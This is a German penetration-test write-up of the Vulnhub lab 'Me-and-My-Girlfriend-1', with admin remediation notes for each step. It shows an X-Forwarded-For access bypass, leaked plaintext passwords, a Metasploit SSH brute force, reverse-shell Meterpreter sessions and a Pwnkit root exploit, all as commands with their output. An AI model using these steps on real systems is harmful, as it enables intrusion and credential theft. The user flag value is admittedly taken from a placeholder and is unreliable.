Me-and-My-Girlfriend-1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
Web Browser
Burp Suite / ModHeader
curl
Metasploit (msfconsole)
find
cat

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Die initiale Aufklärungsphase zielt auf die Identifizierung des Zielsystems im lokalen Netzwerk und die Erkundung offener Ports sowie der darauf laufenden Dienste ab.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.131	08:00:27:fd:9b:9b	PCS Systemtechnik GmbH
                    

**Analyse:** Mittels `arp-scan -l` wird das lokale Netzwerk gescannt. Das Zielsystem wird unter der IP-Adresse `192.168.2.131` identifiziert. Die MAC-Adresse `08:00:27:fd:9b:9b` (PCS Systemtechnik GmbH) lässt auf eine VirtualBox-VM schließen.

**Bewertung:** Das Ziel wurde erfolgreich lokalisiert. Die MAC-Adresse liefert einen ersten Hinweis auf die Virtualisierungsumgebung.

**Empfehlung (Pentester):** Die IP `192.168.2.131` für weitere, detaillierte Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung kann die Sichtbarkeit im lokalen Netz reduzieren. ARP-Spoofing-Detection implementieren.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.131   mygirl.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.131` den Hostnamen `mygirl.vln` zuzuordnen. Dies erleichtert das Ansprechen des Ziels über einen Namen, was bei Webanwendungen relevant sein kann.

**Bewertung:** Sinnvolle Vorbereitung, um Virtual Hosting zu berücksichtigen und die Lesbarkeit von URLs zu verbessern.

**Empfehlung (Pentester):** Den Hostnamen `mygirl.vln` bei Tests verwenden.
**Empfehlung (Admin):** Clientseitige Konfiguration des Angreifers.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.131 -p- | grep open
22/tcp open  ssh     penSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
                    

**Analyse:** Ein schneller `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`, `-p-`) wird durchgeführt und die Ausgabe gefiltert. Es werden zwei offene Ports identifiziert: * Port 22: SSH (OpenSSH 6.6.1p1 Ubuntu) - eine ältere Version. * Port 80: HTTP (Apache 2.4.7 Ubuntu) - ebenfalls eine ältere Version.

**Bewertung:** Die Angriffsfläche ist auf die Standarddienste SSH und HTTP beschränkt. Beide Dienste laufen auf relativ alten Versionen, was sie potenziell anfällig für bekannte Schwachstellen macht.

**Empfehlung (Pentester):** Den Webserver (Port 80) gründlich untersuchen. Nach bekannten Exploits für OpenSSH 6.6.1p1 und Apache 2.4.7 suchen. Die vollständige `nmap`-Ausgabe prüfen.
**Empfehlung (Admin):** Software (SSH, Apache) dringend aktualisieren. Nur notwendige Ports offen lassen.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.131 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 23:47 CEST
Nmap scan report for mygirl.vln (192.168.2.131)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: ... (Keys) ...
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:FD:9B:9B (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms mygirl.vln (192.168.2.131)
                    

**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt die offenen Ports 22 (SSH 6.6.1p1) und 80 (Apache 2.4.7). Es wird festgestellt, dass die Webseite keinen Titel hat. Das Betriebssystem wird als Linux Kernel 3.2 - 4.9 geschätzt.

**Bewertung:** Keine wesentlich neuen Erkenntnisse gegenüber dem gefilterten Scan. Das Fehlen eines Titels ist eine kleine Nachlässigkeit. Die OS-Schätzung ist relativ breit.

**Empfehlung (Pentester):** Web-Enumeration starten. Kernel-Version für spätere Eskalation im Hinterkopf behalten.
**Empfehlung (Admin):** Webseiten Titel geben. OS und Dienste aktuell halten.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h http://192.168.2.131
- Nikto v2.5.0
+ Target IP:          192.168.2.131
+ Target Hostname:    192.168.2.131
+ Target Port:        80
+ Start Time:         2023-09-26 23:47:46 (GMT2)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.29.
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: The X-Content-Type-ptions header is not set.
+ /robots.txt: Entry '/heyhoo.txt' is returned a non-forbidden or redirect HTTP code (200).
+ /robots.txt: contains 1 entry which should be manually viewed.
+ Apache/2.4.7 appears to be outdated.
+ /: Server may leak inodes via ETags ...
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . # Annahme: PST=POST, PTINS=OPTIONS
+ /config/: Directory indexing found.
+ /config/: Configuration information may be available remotely.
+ /misc/: Directory indexing found.
+ /misc/: This might be interesting.
+ /icons/README: Apache default file found.
+ 8103 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2023-09-26 23:48:01 (GMT2) (15 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Funde: * Bestätigt Apache 2.4.7 und identifiziert PHP 5.5.9 (sehr alt!). * Findet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * `robots.txt` enthält einen Eintrag `/heyhoo.txt`, der zugänglich ist. * Meldet veralteten Apache. * Findet Directory Indexing in `/config/` und `/misc/`. * Findet Standarddatei `/icons/README`.

**Bewertung:** `nikto` liefert entscheidende Hinweise. Die sehr alte PHP-Version 5.5.9 ist ein großes Risiko. Die indexierten Verzeichnisse `/config/` und `/misc/` sowie die Datei `/heyhoo.txt` aus `robots.txt` müssen untersucht werden. Directory Indexing ist generell ein Informationsleck.

**Empfehlung (Pentester):** Die Datei `/heyhoo.txt` und die Verzeichnisse `/config/` und `/misc/` untersuchen. Nach bekannten Exploits für PHP 5.5.9 und Apache 2.4.7 suchen.
**Empfehlung (Admin):** PHP und Apache *dringend* aktualisieren. Directory Indexing deaktivieren (`Options -Indexes`). Fehlende Sicherheitsheader implementieren. `robots.txt` und Webinhalte überprüfen. Standarddateien entfernen.

Web Enumeration (Local Access Bypass & Credential Leak)

**Analyse:** Untersuchung der Webanwendung, der gefundenen Dateien und Verzeichnisse. Ausnutzung einer Zugriffsbeschränkung und Aufdecken von Zugangsdaten.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://mygirl.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://mygirl.vln/index.php            (Status: 200) [Size: 120]
http://mygirl.vln/misc                 (Status: 301) [Size: 306] [--> http://mygirl.vln/misc/]
http://mygirl.vln/config               (Status: 301) [Size: 308] [--> http://mygirl.vln/config/]
http://mygirl.vln/robots.txt           (Status: 200) [Size: 32]
                    

**Analyse:** `gobuster` findet die Hauptdatei `index.php` sowie die bereits von `nikto` entdeckten Verzeichnisse `/misc/` und `/config/` und die Datei `robots.txt`.

**Bewertung:** Bestätigt die wichtigsten bekannten Punkte. Der Fokus liegt auf der Analyse dieser Dateien/Verzeichnisse.

**Empfehlung (Pentester):** `robots.txt`, `/misc/`, `/config/` und `index.php` untersuchen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen.

**Analyse:** Untersuchung der Inhalte von `robots.txt`, `heyhoo.txt` und `misc/process.php`.

# Inhalt von http://mygirl.vln/robots.txt
User-Agent: *
Allow: /heyhoo.txt

# Inhalt von http://mygirl.vln/heyhoo.txt
Great! What you need now is reconn, attack and got the shell

# Aufruf von http://mygirl.vln/misc/process.php (zeigt nur Metadaten/Header)
PHP/5.5.9-1ubuntu4.29
Cookie = PHPSESSID=77it48nqqti9mcnfk2nrt2lh10
                    

**Bewertung:** * `robots.txt`: Erlaubt explizit den Zugriff auf `/heyhoo.txt`. * `heyhoo.txt`: Gibt einen direkten Hinweis auf den nächsten Schritt: "reconn, attack and got the shell". * `misc/process.php`: Zeigt nur die PHP-Version und ein Session-Cookie, keine weitere Funktionalität erkennbar.

**Empfehlung (Pentester):** Den Hinweis aus `heyhoo.txt` ernst nehmen und die Enumeration/Angriffsplanung fortsetzen. Die Datei `misc/process.php` scheint vorerst nicht nützlich.
**Empfehlung (Admin):** Keine solchen Hinweisdateien im Web-Root hinterlassen. `robots.txt` sinnvoll einsetzen.

**Analyse:** Die Startseite `index.php` wird aufgerufen und zeigt eine Zugriffsbeschränkung an. Hinweise im Quellcode deuten auf eine mögliche Umgehung mittels HTTP-Header hin.

# Inhalt von http://mygirl.vln/index.php
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

# Kommentar im Quellcode von index.php (aus Burp/manueller Analyse)

                    

**Bewertung:** Die Seite blockiert Zugriffe, die nicht "lokal" erscheinen. Der Kommentar gibt den entscheidenden Hinweis: Der `X-Forwarded-For`-Header soll verwendet werden, um einen lokalen Zugriff (z.B. von `localhost` oder `127.0.0.1`) zu simulieren. Dies ist eine häufige Fehlkonfiguration bei Zugriffskontrollen, die auf Client-IPs basieren.

**Empfehlung (Pentester):** Anfragen an die Webseite mit einem hinzugefügten Header `X-Forwarded-For: 127.0.0.1` oder `X-Forwarded-For: localhost` senden (z.B. mit `curl` oder Browser-Addons wie ModHeader).
**Empfehlung (Admin):** Zugriffskontrollen niemals ausschließlich auf Client-seitig manipulierbare Header wie `X-Forwarded-For` stützen. Serverseitige Authentifizierung und Autorisierung verwenden.

┌──(root㉿Cybermaschine)-[~] └─# curl -i -H 'X-Forwarded-For: localhost' http://192.168.2.131
HTTP/1.1 302 Found
Date: Tue, 26 Sep 2023 22:13:28 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Location: ?page=index
Content-Length: 0
Content-Type: text/html
                    
┌──(root㉿Cybermaschine)-[~] └─# curl http://192.168.2.131/?page=index
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
 
                     

**Analyse:** 1. Ein `curl`-Befehl wird mit dem Header `X-Forwarded-For: localhost` gesendet. Der Server antwortet mit einem HTTP 302 Redirect auf `?page=index`. Dies zeigt, dass die Zugriffsbeschränkung umgangen wurde. 2. Ein zweiter `curl`-Befehl versucht, direkt `/?page=index` ohne den Header aufzurufen. Dies schlägt fehl und zeigt wieder die ursprüngliche Fehlermeldung.

**Bewertung:** Der `X-Forwarded-For`-Header umgeht erfolgreich die Zugriffsbeschränkung. Die Anwendung erwartet nun einen `page`-Parameter.

**Empfehlung (Pentester):** Alle weiteren Anfragen an die Webanwendung mit dem Header `X-Forwarded-For: localhost` (oder `127.0.0.1`) senden. Den `page`-Parameter untersuchen (z.B. auf LFI).
**Empfehlung (Admin):** Zugriffskontrolle überarbeiten, nicht auf `X-Forwarded-For` verlassen.

**Analyse:** Die Webseite wird nun im Browser mit einem Addon (ModHeader) aufgerufen, das den `X-Forwarded-For: localhost`-Header setzt. Eine Seite (`?page=dashboard&user_id=12`) zeigt eine Liste von Benutzernamen und **Klartext-Passwörtern**.

# Aufruf von http://mygirl.vln/?page=dashboard&user_id=12 (mit X-Forwarded-For Header)
Wellcome Back!
Are you ready for Inspiring The People? Let's Do It!

Abdi Kasep
abdikasepak
dorrrrr

Alice Geulis
alice
4lic3

Sedih Aing Mah
sedihaingmah
cedihhihihi

Sunda Tea
sundatea
indNEsia

Aing Maung
aingmaung
qwerty!!!

Eweuh Tandingan
eweuhtandingan
skuyatuh
                    

**Bewertung:** Kritischer Fund! Nachdem die Zugriffsbeschränkung umgangen wurde, enthüllt eine Seite der Anwendung (möglicherweise ein Admin-Dashboard oder eine fehlerhafte Benutzerliste) direkt mehrere Benutzernamen und deren Passwörter im Klartext. Dies ist eine gravierende Sicherheitslücke (Credential Leak).

**Empfehlung (Pentester):** Alle gefundenen Benutzername/Passwort-Paare notieren. Diese Credentials sofort für den SSH-Login (Port 22) testen.
**Empfehlung (Admin):** Diese Seite *sofort* vom Netz nehmen oder den Fehler beheben! Niemals Passwörter im Klartext auf einer Webseite anzeigen. Passwörter sicher hashen. Die Ursache für das Datenleck finden und beheben. Zugriff auf Admin-Bereiche korrekt schützen.

Initial Access (SSH Brute Force)

**Analyse:** Nutzung der auf der Webseite gefundenen Zugangsdaten, um mittels eines Brute-Force-Tools (Metasploit `ssh_login` Scanner) einen gültigen SSH-Login zu finden.

┌──(root㉿Cybermaschine)-[~] └─# vi userlist.txt
┌──(root㉿Cybermaschine)-[~] └─# vi passwordlist.txt

**Analyse:** Die auf der Webseite gefundenen Benutzernamen und Passwörter werden in separate Dateien (`userlist.txt`, `passwordlist.txt`) gespeichert, um sie für Brute-Force-Tools vorzubereiten.

**Bewertung:** Korrekte Vorbereitung für einen gezielten Brute-Force-Angriff.

msf6 > search ssh login
Matching Modules
================
   #   Name                                 Disclosure Date  Rank    Check  Description
   -   ----                                 ---------------  ----    -----  -----------
# ... (Liste der Module) ...
   11  auxiliary/scanner/ssh/ssh_login                     normal  No     SSH Login Check Scanner
# ...
                    
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > options
Module options (auxiliary/scanner/ssh/ssh_login):
   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
# ...
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s)...
   RPORT             22               yes       The target port
# ...
   USER_FILE                          no        File containing usernames, one per line
# ...
   VERBOSE           false            yes       Whether to print output for all attempts
# ...
                    
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE userlist.txt
USER_FILE => userlist.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE passwordlist.txt
PASS_FILE => passwordlist.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.2.131
RHOSTS => 192.168.2.131
msf6 auxiliary(scanner/ssh/ssh_login) > set rport 22
rport => 22
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.2.131:22 - Starting bruteforce
[-] 192.168.2.131:22 - Failed: 'sedihaingmah:4lic3'
[-] 192.168.2.131:22 - Failed: 'sedihaingmah:cedihhihihi'
# ... (Viele Fehlversuche) ...
[-] 192.168.2.131:22 - Failed: 'alice:dorrrrr'
[+] 192.168.2.131:22 - Success: 'alice:4lic3' 'uid=1000(alice) gid=1001(alice) groups=1001(alice) Linux gfriEND 4.4.0-142-generic #1614.04.1-Ubuntu SMP Sat Jan 19 11:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.2.199:35415 -> 192.168.2.131:22) at 2023-09-27 00:42:30 +0200
                     

**Analyse:** Das Metasploit-Modul `auxiliary/scanner/ssh/ssh_login` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst auf Port 22 durchzuführen. Die zuvor erstellten `userlist.txt` und `passwordlist.txt` werden als Eingabe verwendet. Das Modul testet die Kombinationen und findet einen erfolgreichen Login: Benutzer `alice` mit dem Passwort `4lic3`. Metasploit öffnet direkt eine SSH-Shell-Sitzung (Session 1) für diesen erfolgreichen Login.

**Bewertung:** Initialer Zugriff erfolgreich erlangt! Die auf der Webseite geleakten Zugangsdaten enthielten ein gültiges SSH-Konto.

**Empfehlung (Pentester):** Mit der SSH-Sitzung (Session 1) interagieren (`sessions -i 1`). Die Umgebung als Benutzer `alice` enumerieren, um nach Wegen zur Rechteausweitung zu suchen.
**Empfehlung (Admin):** Das Passwort für `alice` sofort ändern. Die Ursache des Passwort-Leaks auf der Webseite beheben. Starke, einzigartige Passwörter erzwingen. SSH-Brute-Force-Schutz implementieren (fail2ban). Key-basierte Authentifizierung bevorzugen.

Privilege Escalation (User - alice)

**Analyse:** Nach dem erfolgreichen SSH-Login als `alice` wird das System weiter untersucht, um Root-Rechte zu erlangen. Der Fokus liegt auf SUID-Binaries und der Nutzung von Metasploit zur Eskalation.

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l
Active sessions
===============

  Id  Name  Type         Information             Connection
  --  ----  ----         -----------             ----------
  1         shell linux  SSH root @ alice:4lic3  192.168.2.199:35415 -> 192.168.2.131:22 (192.168.2.131)
                     
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(alice) gid=1001(alice) groups=1001(alice)

**Analyse:** Die aktive Metasploit-Session (ID 1) wird aufgelistet und mit `sessions -i 1` in den interaktiven Modus gewechselt. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `alice` (uid=1000) läuft.

**Bewertung:** Bestätigung des Zugriffs als `alice`.

find / -type f -perm -4000 -ls 2>/dev/null
# Gekürzte Ausgabe, interessante/Standard SUIDs
   262219   44 -rwsr-xr-x   1 root     root        44680 May  8  2014 /bin/ping6
   262218   44 -rwsr-xr-x   1 root     root        44168 May  8  2014 /bin/ping
   # ... (umount, mount, su, fusermount) ...
   393486   44 -rwsr-xr-x   1 root     root        41336 May 17  2017 /usr/bin/chsh
   393557   72 -rwsr-xr-x   1 root     root        72280 May 17  2017 /usr/bin/gpasswd
   # ... (mtr) ...
   413990   24 -rwsr-xr-x   1 root     root        23304 Jan 15  2019 /usr/bin/pkexec
   # ... (at) ...
   412138   24 -rwsr-xr-x   1 root     root        23104 May  8  2014 /usr/bin/traceroute6.iputils
   393638   48 -rwsr-xr-x   1 root     root        47032 May 17  2017 /usr/bin/passwd
   393483   48 -rwsr-xr-x   1 root     root        46424 May 17  2017 /usr/bin/chfn
   393626   36 -rwsr-xr-x   1 root     root        36592 May 17  2017 /usr/bin/newgrp
   393743  152 -rwsr-xr-x   1 root     root       155008 May 29  2017 /usr/bin/sudo
   # ... (uuidd, pppd, dbus, eject, openssh, policykit) ...
                     

**Analyse:** Als Benutzer `alice` wird nach SUID-Dateien gesucht. Die Liste enthält wieder Standard-Binaries. `pkexec` (Jan 2019) und `sudo` (Mai 2017) sind vorhanden. Die `pkexec`-Version ist neuer als in einigen vorherigen Berichten, aber immer noch vor der Entdeckung von Pwnkit (Jan 2022), daher ist eine Anfälligkeit wahrscheinlich.

**Bewertung:** Pwnkit (CVE-2021-4034) ist der wahrscheinlichste Eskalationsvektor. `sudo -l` sollte ebenfalls geprüft werden.

**Empfehlung (Pentester):** Pwnkit-Exploit über Metasploit vorbereiten und ausführen. `sudo -l` als `alice` testen.
**Empfehlung (Admin):** Polkit und sudo aktuell halten. SUID-Binaries minimieren.

**Analyse:** Die Shell-Sitzung von `alice` wird zu einer Meterpreter-Sitzung aufgewertet, um die Ausführung des Pwnkit-Exploits zu erleichtern.

msf6 auxiliary(scanner/ssh/ssh_login) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options
# ... (Optionen: HANDLER, LHOST, LPORT=4433, SESSION) ...
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433 # Angreifer-IP aus späterem Log ergänzt
[*] Sending stage (1017704 bytes) to 192.168.2.131
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.131:54664) at 2023-09-24 23:43:19 +0200 # Datum/Zeit aus Log übernommen
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

**Analyse:** Das `shell_to_meterpreter`-Modul wird auf die SSH-Shell-Sitzung (Session 1) angewendet. Ein Listener auf Port 4433 wird gestartet, und der Meterpreter-Stager wird über die bestehende Verbindung hochgeladen und ausgeführt. Eine neue Meterpreter-Sitzung (Session 2) als `alice` wird erfolgreich geöffnet.

**Bewertung:** Erfolgreiches Upgrade zu einer Meterpreter-Sitzung als `alice`.

**Empfehlung (Pentester):** Pwnkit-Exploit auf Session 2 anwenden.
**Empfehlung (Admin):** HIDS/EDR zur Erkennung von Meterpreter.

Proof of Concept: Privilege Escalation via Pwnkit

**Analyse:** Ausführung des Pwnkit-Exploits (CVE-2021-4034) über Metasploit, um Root-Rechte zu erlangen.

# use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
# ... (Optionen: SESSION, WRITABLE_DIR, Payload LHOST/LPORT=4444) ...
                     
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4455
lport => 4455
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.qyaesucqey
[+] The target is vulnerable.
[*] Writing '/tmp/.fsewsh/iyhrpta/iyhrpta.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.fsewsh
[*] Sending stage (3045380 bytes) to 192.168.2.131
[+] Deleted /tmp/.fsewsh/iyhrpta/iyhrpta.so
[+] Deleted /tmp/.fsewsh/.qxbljrud
[+] Deleted /tmp/.fsewsh
[*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.131:50154) at 2023-09-27 00:45:19 +0200
                     
meterpreter > shell
Process 3236 created.
Channel 1 created.
                     
id
uid=0(root) gid=0(root) groups=0(root),1001(alice)

**Analyse:** Das Pwnkit-Exploit-Modul wird auf die Meterpreter-Sitzung 2 (`alice`) angewendet. Ein Listener für die Root-Shell wird auf Port 4455 gestartet. Der Exploit bestätigt die Verwundbarkeit (`[+] The target is vulnerable.`), lädt Komponenten nach `/tmp`, führt den Exploit gegen `pkexec` aus und etabliert erfolgreich eine neue Meterpreter-Sitzung (Session 3). Eine Shell wird von dieser Sitzung geöffnet, und `id` bestätigt Root-Rechte (`uid=0(root)`).

**Bewertung:** Exzellent! Die Rechteausweitung auf Root war mittels Pwnkit erfolgreich.

**Empfehlung (Pentester):** Die Root-Shell nutzen, um die finalen Flags zu suchen.
**Empfehlung (Admin):** System dringend patchen (Polkit aktualisieren). Überwachung von `/tmp` und `pkexec`.

cd ~
ls
flag2.txt
cat flag2.txt
  ________        __    ___________.__             ___________.__                ._.
 /  _____/  _____/  |_  \__    ___/|  |__   ____   \_   _____/|  | _____     ____| |
/   \  ___ /  _ \   __\   |    |   |  |  \_/ __ \   |    __)  |  | \__  \   / ___\ |
\    \_\  (  <_> )  |     |    |   |   Y  \  ___/   |     \   |  |__/ __ \_/ /_/  >|
 \______  /\____/|__|     |____|   |___|  /\___  >  \___  /   |____(____  /\___  /__
        \/                              \/     \/       \/              \//_____/ \/

Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned can get new knowledge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because it can be a reference for me to be even better! I hope this can continue :)

Contact me if you want to contribute / give me feedback / share your writeup!
Twitter: @makegreatagain_
Instagram: @aldodimas73

Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}
                     

**Analyse:** In der Root-Shell wird ins Home-Verzeichnis (`/root`) gewechselt. Dort wird die Datei `flag2.txt` gefunden und ausgelesen. Sie enthält eine Nachricht und die Root-Flagge: `gfriEND{56fbeef560930e77ff984b644fde66e7}`.

**Bewertung:** Die Root-Flagge wurde erfolgreich extrahiert.

**Empfehlung (Pentester):** Root-Flagge dokumentieren. Nach der User-Flagge suchen (vermutlich in `/home/alice/`).
**Empfehlung (Admin):** Keine spezifische Aktion, außer den bereits genannten.

Flags

cat user.txt (Pfad/Inhalt nicht explizit im Log gefunden)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/flag2.txt
gfriEND{56fbeef560930e77ff984b644fde66e7}

**Analyse:** Die Root-Flagge (`gfriEND{...}`) wurde aus `/root/flag2.txt` extrahiert. Die User-Flagge wurde im Log nicht explizit gefunden; der hier gezeigte Wert stammt aus dem Platzhalter am Ende des Originaltextes. Sie befindet sich vermutlich in `/home/alice/user.txt`.

**Bewertung:** Der Test war erfolgreich, Root-Zugriff wurde erlangt und die Root-Flagge gefunden. Die Dokumentation der User-Flagge im Log fehlt.